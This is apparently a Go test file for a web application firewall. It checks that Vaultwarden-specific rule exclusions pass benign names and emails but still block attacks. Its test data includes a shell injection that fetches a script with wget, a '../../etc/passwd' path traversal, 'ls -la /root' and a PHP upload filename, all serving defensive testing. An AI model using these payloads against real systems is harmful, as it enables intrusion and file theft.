check / check (push) Failing after 14m14s
Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
340 lines
11 KiB
Go
340 lines
11 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const vaultwardenThreshold = 5
|
|
|
|
// Paths of Vaultwarden's API and admin page.
|
|
const (
|
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
|
vaultwardenPassword = "/api/accounts/password"
|
|
vaultwardenProfile = "/api/accounts/profile"
|
|
vaultwardenSettings = "/admin/config"
|
|
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
|
)
|
|
|
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
|
|
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
|
}
|
|
|
|
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
|
})
|
|
|
|
// An address for the data breach report, which only Vaultwarden's fixes
|
|
// let through.
|
|
report := get(vaultwardenBreachReport + "python3%40example.com")
|
|
|
|
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
|
}
|
|
|
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
|
// request that sends it, and its body, with VALUE where the field's value
|
|
// goes.
|
|
type vaultwardenField struct {
|
|
method, target, contentType, body string
|
|
}
|
|
|
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
|
// it.
|
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
escaped := url.QueryEscape(value)
|
|
|
|
if f.contentType == jsonBody {
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
escaped = strings.Trim(string(quoted), `"`)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
|
}
|
|
|
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
|
// and 932260: the names and the password hints.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenNameFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/organizations", jsonBody,
|
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
}
|
|
|
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
|
// 932120 and 932260: the email addresses.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddressFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, "/identity/connect/token", formData,
|
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
|
},
|
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
|
},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
|
{
|
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
|
},
|
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
|
`{"email":"VALUE","type":0}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
|
},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
|
`{"email":"VALUE","token":"123456"}`,
|
|
},
|
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
|
}
|
|
|
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
|
// in the query, ending in "=".
|
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
|
|
|
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddresses = []string{
|
|
"jane.profile@example.com",
|
|
"python3.dev@example.com",
|
|
"powershell@example.com",
|
|
}
|
|
|
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
|
// refuses f holding value, or lets it through.
|
|
func wantVaultwardenField(
|
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{f.contentType}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
for _, f := range vaultwardenNameFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
}
|
|
|
|
for _, value := range vaultwardenAddresses {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
|
// command and a path traversal.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAttacks = []string{
|
|
injection,
|
|
scriptTag,
|
|
"; wget http://example.com/x.sh",
|
|
"../../etc/passwd",
|
|
}
|
|
|
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range vaultwardenAttacks {
|
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
|
wantVaultwardenField(t, f, attack, true)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A name keeps the rules on vault items and folders, whose names are
|
|
// encrypted, on two-factor paths other than security keys', off
|
|
// Vaultwarden's paths, and when the query has a field of the same name.
|
|
for _, target := range []string{
|
|
"/api/ciphers",
|
|
"/api/folders",
|
|
"/x" + vaultwardenProfile,
|
|
"/identity/other",
|
|
"/api/two-factor/authenticator",
|
|
vaultwardenProfile + "?json.name=python3",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
body := `{"name":"python3"}`
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
|
} {
|
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
|
}
|
|
|
|
target := "/api/hibp/other?username=python3"
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
|
func vaultwardenUpload(name string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
|
}
|
|
|
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
|
|
|
for _, target := range []string{
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
|
vaultwardenCipher + "/attachment",
|
|
vaultwardenCipher + "/attachment-admin",
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("POST %s refused: %+v", target, got)
|
|
}
|
|
|
|
// The names of uploaded files keep the other rules: a path
|
|
// traversal and a PHP script are still refused.
|
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|